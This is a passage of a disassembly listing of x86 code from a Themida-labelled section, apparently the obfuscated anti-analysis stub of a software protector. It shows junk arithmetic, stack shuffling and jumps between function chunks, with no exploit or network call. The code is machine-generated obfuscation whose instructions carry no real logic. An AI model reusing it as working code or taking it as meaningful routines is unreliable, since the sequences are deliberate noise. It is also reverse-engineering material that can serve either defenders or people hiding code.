; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5562DB: ; CODE XREF: Themida_:00558B8Fj
push ebx
mov ebx, 6B2C40E6h
jmp loc_55C90B
; ---------------------------------------------------------------------------
dw 2489h
; ---------------------------------------------------------------------------
and al, 83h
add al, 24h
add al, 5Fh
add edi, 4
push esi
mov esi, 2
add edi, esi
mov esi, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
mov edi, [esp]
push ebp
mov ebp, esp
jmp loc_55968E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556312: ; CODE XREF: sub_559C84-515Cj
xor edx, [esp+46h+var_46]
mov esp, [esp+46h+var_46]
jmp loc_55DC22
; ---------------------------------------------------------------------------
loc_55631D: ; CODE XREF: sub_559C84+437Dj
pop ecx
sub dl, ch
add dl, 22h
pop cx
jmp loc_55C7D0
; ---------------------------------------------------------------------------
loc_55632A: ; CODE XREF: sub_559C84-5211j
add dl, 80h
jmp loc_559713
; ---------------------------------------------------------------------------
loc_556332: ; CODE XREF: sub_559C84+1657j
add esi, edx
sub esi, 0B6613E3h
mov edx, [esp+4Eh+var_4E]
push edx
jmp loc_55DA62
; ---------------------------------------------------------------------------
loc_556343: ; CODE XREF: sub_559C84+235j
sub ebp, ecx
pop ecx
jmp loc_558884
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555BE3
loc_55634B: ; CODE XREF: sub_555BE3-128Dj
add dword ptr [esp+0], 4
jmp loc_55ECCC
; END OF FUNCTION CHUNK FOR sub_555BE3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556357: ; CODE XREF: sub_559C84+1A53j
push 15B0h
mov [esp+52h+var_52], edx
mov dl, 35h
shl dl, 7
dec dl
not dl
push ebp
jmp loc_556AA4
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55F9FD
loc_55636E: ; CODE XREF: sub_55F9FD-499j
mov edi, 6BE6677Bh
or edi, 713E43B2h
shl edi, 2
sub edi, 0EFF99FE8h
add esi, 5DDC071Ch
add esi, edi
push edx
jmp loc_558C95
; END OF FUNCTION CHUNK FOR sub_55F9FD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556390: ; CODE XREF: sub_559C84+4BA4j
neg ecx
not ecx
sub ecx, 3B9F2B67h
jmp loc_55C0C5
; ---------------------------------------------------------------------------
loc_55639F: ; CODE XREF: sub_559C84+5BB9j
shr edx, 7
sub edx, 0E7B05BFDh
xor ecx, edx
pop edx
and ecx, 50D93FB4h
xor ecx, 10D12884h
add edi, ecx
mov ecx, [esp+52h+var_52]
jmp loc_55BD9E
; ---------------------------------------------------------------------------
loc_5563C1: ; CODE XREF: sub_559C84+30BEj
mov ah, 8
add ah, dh
pop edx
push edx
mov dh, ah
push eax
mov al, dh
mov ch, al
jmp loc_555583
; ---------------------------------------------------------------------------
loc_5563D3: ; CODE XREF: sub_559C84-C7j
or eax, eax
jz loc_55A441
sub esp, 4
mov [esp+5Ah+var_5C+2], esi
push ebx
pop esi
push 347Bh
mov [esp+5Eh+var_60+2], esi
push [esp+5Eh+var_60+2]
pop eax
jmp sub_55DBF3
; ---------------------------------------------------------------------------
loc_5563F4: ; CODE XREF: sub_559C84+2468j
mov edx, esp
push ecx
mov ecx, 4
add edx, ecx
pop ecx
add edx, 4
xchg edx, [esp+5Eh+var_60+2]
pop esp
sub esp, 4
jmp loc_558EEB
; ---------------------------------------------------------------------------
loc_55640E: ; CODE XREF: sub_559C84+2D83j
mov ebx, esp
add ebx, 4
jmp loc_557FD6
; ---------------------------------------------------------------------------
loc_55641B: ; CODE XREF: sub_559C84-5599j
shr ebx, 5
xor ebx, 40EC4590h
jmp sub_55F86E
; ---------------------------------------------------------------------------
loc_556429: ; CODE XREF: sub_559C84-6574j
shr edi, 6
shr edi, 5
push ecx
mov ecx, 27820661h
or edi, ecx
jmp loc_5536D8
; ---------------------------------------------------------------------------
loc_55643C: ; CODE XREF: sub_559C84-4939j
push cx
mov cl, 59h
jmp loc_553C7D
; ---------------------------------------------------------------------------
loc_556445: ; CODE XREF: sub_559C84-11D8j
sub esi, edx
mov edx, [esp+52h+var_52]
add esp, 4
add eax, esi
pop esi
push esi
push edi
push 27CA3AD2h
pop edi
sub edi, 27CA3AD0h
mov esi, edi
jmp loc_55EA52
; ---------------------------------------------------------------------------
loc_556468: ; CODE XREF: sub_559C84-15C7j
and edx, 53331291h
xor edx, 4E76536Ah
sub esi, edx
pop edx
add esi, ebp
add esi, 0F5443FBh
push [esp+4Eh+var_4E]
mov ebp, [esp+52h+var_52]
jmp loc_55A89A
; ---------------------------------------------------------------------------
loc_55648A: ; CODE XREF: sub_559C84-EC8j
sub edx, 5F071E8Ch
pop eax
mov ebx, [esp+4Eh+var_4E]
jmp loc_55A929
; ---------------------------------------------------------------------------
loc_556499: ; CODE XREF: sub_559C84+4Cj
add ebp, edx
pop edx
jmp loc_557CC0
; ---------------------------------------------------------------------------
loc_5564A1: ; CODE XREF: sub_559C84+1833j
mov edi, 1
sub ebx, edi
pop edi
jmp loc_55DDF6
; ---------------------------------------------------------------------------
loc_5564AE: ; CODE XREF: sub_559C84-1756j
xchg edi, [esp+46h+var_46]
pop esp
xor ecx, esi
pop esi
rep movsd
add esp, [edx+38h]
jmp loc_5578ED
; ---------------------------------------------------------------------------
loc_5564BF: ; CODE XREF: sub_559C84+5507j
push edx
jmp loc_553CF2
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5564C5: ; DATA XREF: Themida_:00553358o
push dword ptr [esp]
pop ecx
push ecx
push esp
pop ecx
add ecx, 4
jmp loc_5599D1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5564D7: ; CODE XREF: sub_559C84+4712j
add edx, 21070AF6h
sub edx, ebp
sub edx, 21070AF6h
pop ebp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_5564EB: ; CODE XREF: sub_559C84+5C30j
pop esp
jmp loc_555D55
; ---------------------------------------------------------------------------
loc_5564F1: ; CODE XREF: sub_559C84-26A3j
mov edx, [esp+3Ah+var_3A]
add esp, 4
push eax
mov eax, 4
add edx, eax
pop eax
sub edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_55E1BA
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556511: ; CODE XREF: Themida_:00553858j
mov ebx, [esp]
jmp loc_55EF5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556519: ; CODE XREF: sub_559C84-45DEj
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+50h+var_52+2]
jmp loc_55CF0C
; ---------------------------------------------------------------------------
loc_55652D: ; CODE XREF: sub_559C84+1774j
add ecx, 4
jmp loc_55DAE9
; ---------------------------------------------------------------------------
loc_556535: ; CODE XREF: sub_559C84+C87j
or ebx, 3F5B3555h
add ebx, 995E0893h
jmp loc_55C5D2
; ---------------------------------------------------------------------------
loc_556546: ; CODE XREF: sub_559C84+2E0Bj
mov ebx, [esp+50h+var_52+2]
jmp loc_5535C5
; ---------------------------------------------------------------------------
loc_55654E: ; CODE XREF: sub_559C84+20A5j
mov ebx, 142626D2h
xor edi, ebx
pop ebx
jmp loc_5553DB
; ---------------------------------------------------------------------------
loc_55655B: ; CODE XREF: sub_559C84+3AB8j
add edi, 274C6E9Ah
pop eax
add edi, 4
jmp loc_55CE39
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55656A: ; CODE XREF: Themida_:0055686Bj
xor eax, ecx
jmp loc_558111
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556571: ; CODE XREF: sub_559C84+F19j
add eax, 62422035h
add eax, edi
push edx
mov edx, 2AB244FFh
xor edx, 48F064CAh
sub eax, edx
pop edx
mov edi, [esp+48h+var_4A+2]
jmp loc_55DDB6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5589C1
loc_55658F: ; CODE XREF: sub_5589C1+18j
mov [esp+4+var_4], ebp
push edx
jmp loc_553973
; END OF FUNCTION CHUNK FOR sub_5589C1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556598: ; CODE XREF: sub_559C84+2DEDj
mov eax, 4
add esi, eax
pop eax
xchg esi, [esp+44h+var_46+2]
jmp loc_55A2BE
; ---------------------------------------------------------------------------
loc_5565A8: ; CODE XREF: sub_559C84-670j
pop esi
inc esi
and esi, 53066B35h
add esi, 68AAD776h
mov ebp, esi
pop esi
sub eax, ebp
mov ebp, [esp+3Ch+var_3E+2]
add esp, 4
add eax, 1
sub eax, 102755D7h
mov ebx, eax
pop eax
sub edi, ebx
mov ebx, [esp+34h+var_34]
jmp loc_554452
; ---------------------------------------------------------------------------
loc_5565D8: ; CODE XREF: sub_559C84-1D7Cj
pop esp
mov [esp+30h+var_30], ecx
push edi
mov edi, 6A3A4D6Fh
not edi
push ebp
mov ebp, 73D676BDh
not ebp
xor ebp, 10F97F00h
xor ebp, 7E1627D0h
jmp loc_55DE1F
; ---------------------------------------------------------------------------
loc_5565FD: ; CODE XREF: sub_559C84-1308j
xor esi, 4A977D1Ch
sub esi, 782EB26h
add esi, 1340B36h
and eax, esi
pop esi
xor eax, 14C0404h
add ebx, eax
pop eax
push edi
mov edi, 2
add ebx, edi
pop edi
xor ebx, [esp+30h+var_30]
xor [esp+30h+var_30], ebx
xor ebx, [esp+30h+var_30]
jmp loc_55CD95
; ---------------------------------------------------------------------------
loc_556631: ; CODE XREF: sub_559C84-4131j
push ecx
mov ecx, 36091B24h
or esi, ecx
pop ecx
xor esi, 11DF162Ah
jmp loc_55BF01
; ---------------------------------------------------------------------------
loc_556645: ; CODE XREF: sub_559C84+51AAj
push esi
jmp loc_556700
; ---------------------------------------------------------------------------
loc_55664B: ; CODE XREF: sub_559C84-39D8j
push ecx
jmp loc_5547DA
; ---------------------------------------------------------------------------
loc_556651: ; CODE XREF: sub_559C84+4C92j
pop edi
not eax
jmp loc_55DC0A
; ---------------------------------------------------------------------------
loc_556659: ; CODE XREF: sub_559C84+5B5Cj
mov esi, [esp+34h+var_34]
add esp, 4
jmp loc_55F243
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
pop dword ptr fs:[edx]
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5599A2
loc_55666C: ; CODE XREF: sub_5599A2-EB3j
push ecx
jmp loc_554BB7
; END OF FUNCTION CHUNK FOR sub_5599A2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556672: ; CODE XREF: sub_559C84-3E61j
add [esp+66h+var_60+2], 418750Eh
sub [esp+66h+var_60+2], ebx
jmp loc_55BD4C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553ADA
loc_556683: ; CODE XREF: sub_553ADA+6j
pop dword ptr [eax]
pop eax
jmp loc_559A39
; END OF FUNCTION CHUNK FOR sub_553ADA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55668B: ; CODE XREF: sub_559C84-636Dj
add ecx, edx
add ecx, 2CE81FC1h
pop edx
sub esp, 4
mov [esp+50h+var_52+2], ebx
mov ebx, 4D2E4D0Eh
and ebx, 346F6553h
neg ebx
xor ebx, 1861382Dh
inc ebx
sub ebx, 0E3B082D2h
add ecx, ebx
pop ebx
push ecx
push [esp+50h+var_4E+2]
pop ecx
pop [esp+50h+var_52+2]
jmp loc_55DEBF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_5566C5: ; CODE XREF: Themida_:00557E58j
mov eax, 4
add [esp+4], eax
push dword ptr [esp]
pop eax
jmp loc_558B88
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5566D7: ; CODE XREF: sub_559C84+43Dj
push esi
xchg ecx, [esp+50h+var_52+2]
xchg ebp, ecx
not ebp
xchg ebp, ecx
xchg ecx, [esp+50h+var_52+2]
push [esp+50h+var_52+2]
jmp loc_55C302
; ---------------------------------------------------------------------------
loc_5566EC: ; CODE XREF: sub_559C84-4A4Bj
mov [esp+4Eh+var_4E], esi
jmp loc_5595BA
; ---------------------------------------------------------------------------
loc_5566F4: ; CODE XREF: sub_559C84-5FE5j
pop ebp
pop edx
and eax, ebp
pop ebp
or edx, eax
jmp loc_558FBC
; ---------------------------------------------------------------------------
loc_556700: ; CODE XREF: sub_559C84-363Ej
mov esi, 4
sub edi, esi
jmp loc_55DEB2
; ---------------------------------------------------------------------------
loc_55670C: ; CODE XREF: sub_559C84+CBAj
sub ebx, 10009CEh
mov edx, [esp+50h+var_52+2]
add esp, 4
loc_556718: ; CODE XREF: sub_558684+5j
sub esp, 4
mov [esp+50h+var_52+2], edx
mov edx, esp
push ebp
jmp loc_55CCD2
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556729: ; CODE XREF: Themida_:00559283j
mov [esp], eax
mov eax, esp
add eax, 4
jmp loc_55B2EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556738: ; CODE XREF: sub_559C84+4C9Bj
mov esi, 4F31F66h
sub [esp+54h+var_52+2], 41471330h
add [esp+54h+var_52+2], esi
add [esp+54h+var_52+2], 41471330h
pop esi
mov edx, [esp+50h+var_52+2]
jmp loc_55E37C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55675A: ; CODE XREF: Themida_:00558D34j
push 6B2Eh
mov [esp], edi
push eax
mov eax, 0AE23318h
mov edi, 0AE2331Ch
add edi, 38F85C9Ch
sub edi, 353C5552h
sub edi, eax
add edi, 353C5552h
push ecx
mov ecx, 38F85C9Ch
jmp loc_555F93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_55678C: ; CODE XREF: sub_559C84-D9Ej
mov [esp+50h+var_52+2], edi
mov edi, esp
sub esp, 4
mov [esp+0], eax
mov eax, 4FA76B03h
jmp loc_554D96
; ---------------------------------------------------------------------------
loc_5567A1: ; CODE XREF: sub_559C84+2060j
add edx, eax
add edx, 3DA46439h
push ebp
push 490F3AA3h
pop ebp
jmp loc_55E525
; ---------------------------------------------------------------------------
loc_5567B5: ; CODE XREF: sub_559C84+40D0j
sub al, bl
add al, 0A6h
jmp loc_55DECB
; ---------------------------------------------------------------------------
loc_5567BE: ; CODE XREF: sub_559C84+D67j
mov [esp+58h+var_58], ebp
sub esp, 4
mov [esp+5Ch+var_5C], ecx
push 1834h
mov [esp+60h+var_60], edx
mov edx, 3F2A4AC7h
xor [esp+60h+var_5C], edx
jmp loc_5584D3
; ---------------------------------------------------------------------------
loc_5567DD: ; CODE XREF: sub_559C84-2C06j
push eax
mov eax, 4
sub ebp, eax
pop eax
xchg ebp, [esp+60h+var_60]
jmp loc_558EE5
; ---------------------------------------------------------------------------
loc_5567EE: ; CODE XREF: sub_559C84+54ABj
shl esi, 5
not esi
jmp loc_55880C
; ---------------------------------------------------------------------------
loc_5567F8: ; CODE XREF: sub_559C84-4195j
pop edi
pop [esp+4Ch+var_4E+2]
pop esp
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_556802: ; CODE XREF: sub_559C84-174Fj
pop esi
sub edi, 192906A9h
add edi, edx
add edi, 192906A9h
push [esp+40h+var_42+2]
pop edx
push ebp
mov ebp, esp
push esi
mov esi, 4
add ebp, esi
pop esi
add ebp, 4
jmp loc_557D3B
; ---------------------------------------------------------------------------
loc_556829: ; CODE XREF: sub_559C84-2ADAj
mov ebp, 0FA1420h
add [esp+44h+var_3E+2], ebp
pop ebp
push ecx
jmp loc_5556E5
; ---------------------------------------------------------------------------
loc_556839: ; CODE XREF: sub_559C84-4994j
pop esp
mov [esp+1Ch+var_1C], edx
push ecx
mov ch, 3Fh
mov dh, 0B7h
xor dh, ch
pop ecx
mov bl, dh
jmp loc_5574D3
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_55684C: ; CODE XREF: Themida_:0055FC33j
pop eax
xor ecx, eax
pop eax
sub esp, 4
mov [esp], eax
mov eax, 56C528C9h
not eax
shl eax, 3
add eax, 0D5402818h
sub ecx, eax
pop eax
jmp loc_55656A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556870: ; CODE XREF: sub_559C84+3B2Ej
mov [esp+1Ch+var_1C], edi
sub esp, 4
mov [esp+20h+var_20], esp
add [esp+20h+var_20], 4
jmp loc_55F2ED
; ---------------------------------------------------------------------------
loc_556885: ; CODE XREF: sub_559C84-4B1Dj
xchg edi, [esp-12h+arg_C+2]
pop esp
shl esi, 3
push ebp
mov ebp, 9220E109h
add esi, ebp
pop ebp
add eax, esi
pop esi
push 16E4h
mov [esp-16h+arg_10+2], ebp
push esi
jmp loc_55D573
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5561B6
loc_5568A6: ; CODE XREF: sub_5561B6+B48j
sub ebp, 1B0B7C75h
add ebp, 182C3FAFh
add ebp, edi
sub ebp, 182C3FAFh
push ebx
push edx
mov edx, 78E93DE5h
mov ebx, edx
pop edx
jmp loc_5587A0
; END OF FUNCTION CHUNK FOR sub_5561B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559AA2
loc_5568C9: ; CODE XREF: sub_559AA2-62B4j
push edx
mov edx, 66935D18h
inc edx
shl edx, 5
shr edx, 8
xor edx, 627A32E3h
sub esp, 4
mov [esp+8+var_8], eax
mov eax, 64887FC2h
jmp loc_55C1A9
; END OF FUNCTION CHUNK FOR sub_559AA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5568EF: ; CODE XREF: sub_559C84-121j
mov [esp-12h+arg_C+2], ebx
jmp loc_55612F
; ---------------------------------------------------------------------------
loc_5568F7: ; CODE XREF: sub_559C84+4FECj
pop ebx
jmp loc_556B25
; ---------------------------------------------------------------------------
loc_5568FD: ; CODE XREF: sub_559C84+C38j
neg dh
shr dh, 1
and dh, 9Ch
and dh, 0C3h
not dh
xor dh, 83h
add al, dh
pop edx
jmp loc_55E400
; ---------------------------------------------------------------------------
loc_556914: ; CODE XREF: sub_559C84-20Aj
add ebx, eax
pop eax
add ebx, 4
jmp loc_55A0C6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_554A08
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5559F0
loc_55692A: ; CODE XREF: sub_5559F0+Cj
push esp
pop edi
jmp loc_558A46
; END OF FUNCTION CHUNK FOR sub_5559F0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556931: ; CODE XREF: sub_559C84-2BF6j
add al, dl
pop dx
mov dx, word ptr [esp-20h+arg_1C]
add esp, 2
jmp loc_55B511
; ---------------------------------------------------------------------------
loc_556941: ; CODE XREF: sub_559C84+27D8j
neg ebp
sub ebp, 1D1121BEh
jmp loc_559857
; ---------------------------------------------------------------------------
loc_55694E: ; CODE XREF: sub_559C84+8CDj
pop esp
add bl, 19h
add bl, 5Fh
push edx
push ax
jmp loc_55A7D0
; ---------------------------------------------------------------------------
loc_55695D: ; CODE XREF: sub_559C84-5D7Dj
add edx, 4
jmp loc_55C398
; ---------------------------------------------------------------------------
loc_556968: ; CODE XREF: sub_559C84-64CEj
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+24h+var_24]
pop esp
sub esp, 2
mov word ptr [esp+24h+var_24], dx
push ebx
push ecx
mov ch, 0FBh
mov bh, ch
jmp loc_554AF2
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_55698E proc near ; CODE XREF: sub_559C84-E4Bj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055742B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558FF7 SIZE 0000002D BYTES
push ebp
mov ebp, 274800B2h
xor ebp, 0C393D8Ch
loc_55699A: ; DATA XREF: sub_559C84:loc_55D379o
or ebp, 0AF48EAh
jmp loc_558FF7
sub_55698E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5569A5: ; CODE XREF: sub_559C84-4A0Fj
add eax, ecx
push ebp
jmp loc_55E5E5
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
push ebp
push ebx
push eax
pop ebx
push ecx
mov ecx, ebx
mov ebp, ecx
pop ecx
jmp loc_55851C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5569BC: ; CODE XREF: sub_559C84-1568j
xor edx, [esp+52h+var_52]
jmp loc_55969F
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
mov cx, [esp]
push edx
mov edx, esp
push edi
mov edi, 770434CBh
neg edi
neg edi
xchg edx, edi
push edx
jmp loc_554723
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_5569DD: ; CODE XREF: sub_559C84+EB7j
sub esi, ebx
jmp loc_55AD34
; ---------------------------------------------------------------------------
loc_5569E4: ; CODE XREF: sub_559C84-5A79j
push esi
mov esi, 5853233Fh
sub esi, 0ED59F7AAh
jmp loc_55B872
; ---------------------------------------------------------------------------
loc_5569F5: ; CODE XREF: sub_559C84+2BFEj
sub eax, 69C85CACh
push edx
mov edx, 0BE5976h
shl edx, 1
shr edx, 2
jmp loc_554BA6
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556A0A: ; CODE XREF: Themida_:0055F990j
mov cl, 4Dh
push eax
push edx
push eax
mov al, 14h
jmp loc_55C27F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556A16: ; CODE XREF: sub_559C84-5515j
push 22C3D1Bh
pop edx
xor [esp+3Ch+var_3A+2], edx
pop edx
jmp loc_554531
; ---------------------------------------------------------------------------
loc_556A26: ; CODE XREF: sub_559C84-63DCj
dec ecx
jmp loc_55F50B
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556A2C: ; CODE XREF: Themida_:00554459j
jmp loc_55351F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556A31: ; CODE XREF: sub_559C84-3AE2j
mov ebx, [esp+44h+var_46+2]
add esp, 4
add ebx, ecx
mov ecx, [esp+40h+var_42+2]
add esp, 4
add ebx, 2
xchg ebx, [esp+3Ch+var_3E+2]
mov esp, [esp+3Ch+var_3E+2]
btc word ptr [esp+3Ch+var_3E+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_556A56: ; CODE XREF: sub_559C84+2E80j
shr byte ptr [esp+40h+var_42+2], cl
pushf
jmp loc_557D13
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556A5F: ; CODE XREF: Themida_:00554319j
add esp, 4
jmp loc_555F42
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556A6A: ; CODE XREF: sub_559C84+D2Dj
sub eax, edi
pop edi
mov ecx, [esp+40h+var_42+2]
push esi
mov esi, esp
jmp loc_557D18
; ---------------------------------------------------------------------------
loc_556A78: ; CODE XREF: sub_559C84-6DDj
pop edx
xchg ebx, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
jmp loc_558DEC
; ---------------------------------------------------------------------------
loc_556A84: ; CODE XREF: sub_559C84+3764j
push ecx
mov ecx, 4
add edx, ecx
jmp loc_55BE98
; ---------------------------------------------------------------------------
loc_556A91: ; CODE XREF: sub_559C84+924j
mov [esp+44h+var_46+2], edi
mov edi, 2
add ecx, 10B76326h
jmp loc_55E287
; ---------------------------------------------------------------------------
loc_556AA4: ; CODE XREF: sub_559C84-391Bj
mov ebp, esp
jmp loc_556E3B
; ---------------------------------------------------------------------------
loc_556AAB: ; CODE XREF: sub_559C84+3DB4j
push edx
mov dh, 0E0h
neg dh
xor dh, 0C4h
add bl, dh
jmp loc_55A295
; ---------------------------------------------------------------------------
loc_556ABA: ; CODE XREF: sub_559C84+2177j
mov ebp, [esp+5Ah+var_5C+2]
push ecx
jmp loc_55E4F6
; ---------------------------------------------------------------------------
loc_556AC3: ; CODE XREF: sub_559C84-99Bj
push edx
mov edx, 4
jmp loc_55B6DC
; ---------------------------------------------------------------------------
loc_556ACE: ; CODE XREF: sub_559C84+1F6Cj
sub edi, 2362310Ch
xor edi, 0DC48CE70h
add ecx, 3A6060CAh
add ecx, edi
jmp loc_55EF32
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsd
push 372Fh
mov [esp], edi
jmp loc_55F4CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556FC2
loc_556AF5: ; CODE XREF: sub_556FC2+22j
xor ecx, esi
pop esi
add edx, ecx
mov ecx, [esp-4+arg_0]
add esp, 4
jmp loc_55351F
; END OF FUNCTION CHUNK FOR sub_556FC2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556B05: ; CODE XREF: sub_559C84-100Fj
add esi, 4
jmp loc_55B209
; ---------------------------------------------------------------------------
loc_556B10: ; CODE XREF: sub_559C84+F6Fj
sub edx, 6C32A6Fh
add edx, 0D6352D4Ah
mov ebp, edx
pop edx
inc ebp
jmp sub_5558B3
; ---------------------------------------------------------------------------
loc_556B25: ; CODE XREF: sub_559C84-338Cj
sub dl, cl
jmp loc_55C3A1
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556B2C: ; CODE XREF: Themida_:00557A2Aj
pop edx
pop esi
jmp loc_55BB68
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556B33: ; CODE XREF: sub_559C84-B74j
add esi, 4
sub esp, 4
mov [esp-12h+arg_C+2], ebp
mov ebp, 7D085EB7h
jmp loc_559937
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
loc_556B4C: ; CODE XREF: Themida_:005539FEj
xor ebp, 0BD14FAFh
sub esp, 4
mov [esp], eax
push 0D9E5162h
pop eax
sub eax, 44D09A8h
jmp loc_556F41
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556B68: ; CODE XREF: sub_559C84+26Fj
mov [esp-12h+arg_C+2], edi
jmp loc_55BD23
; ---------------------------------------------------------------------------
loc_556B70: ; CODE XREF: sub_559C84+1828j
mov ecx, esi
pop esi
jmp loc_556188
; END OF FUNCTION CHUNK FOR sub_559C84
; =============== S U B R O U T I N E =======================================
sub_556B78 proc near ; DATA XREF: Themida_:00553460o
var_4 = dword ptr -4
lodsd
push esi
mov esi, 7375193Eh
sub eax, esi
mov esi, [esp+4+var_4]
push edx
push esp
pop edx
push esi
jmp loc_55CD12
sub_556B78 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556B8D: ; CODE XREF: sub_559C84-4D26j
pop edx
jmp loc_55992F
; ---------------------------------------------------------------------------
loc_556B93: ; CODE XREF: sub_559C84+3959j
add [esp+4Eh+var_4E], 4
pop esi
add esi, 4
sub esp, 4
mov [esp+4Eh+var_4E], ebp
jmp loc_557B0C
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
lodsd
add eax, 43456913h
jmp loc_5576FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556BB4: ; CODE XREF: sub_559C84+46B9j
xchg edi, [esp+4Eh+var_4E]
mov esp, [esp+4Eh+var_4E]
movzx ecx, ax
push 27EFh
jmp loc_5591BF
; END OF FUNCTION CHUNK FOR sub_559C84
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55590A
loc_556BC7: ; CODE XREF: sub_55590A+3672j
add ebp, 0EFBFFBB8h
add esi, ebp
pop ebp
add esi, 4
push 772Ah
jmp loc_557588
; END OF FUNCTION CHUNK FOR sub_55590A
; ---------------------------------------------------------------------------
loc_556BE0: ; CODE XREF: Themida_:005539AAj
not ah
sub ah, 71h
sub ah, 0E7h
and ah, 0D5h
jmp loc_55DD67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_559C84
loc_556BF0: ; CODE XREF: sub_559C84-2514j
sub ebp, 745301EEh
pop ecx
jmp loc_558FE0
; ---------------------------------------------------------------------------
loc_556BFC: ; CODE XREF: sub_559C84-17BDj
add esp, 4
add esp, 4
push ecx
mov cl, 0A8h
not cl
jmp loc_55D9EC
; ---------------------------------------------------------------------------
loc_556C12: ; CODE XREF: sub_559C84-75Dj
xor esi, 48B023E1h
inc esi
and esi, 46C64D7h
xor esi, 15A91CEEh
jmp loc_5590E4
; ---------------------------------------------------------------------------
loc_556C2A: ; CODE XREF: sub_559C84+1E70j
add eax, esi
jmp loc_55D102
; ---------------------------------------------------------------------------
loc_556C31: ; CODE XREF: sub_559C84+2C68j
sub ebp, 58AD3CC8h
or ebp, 34AF1830h
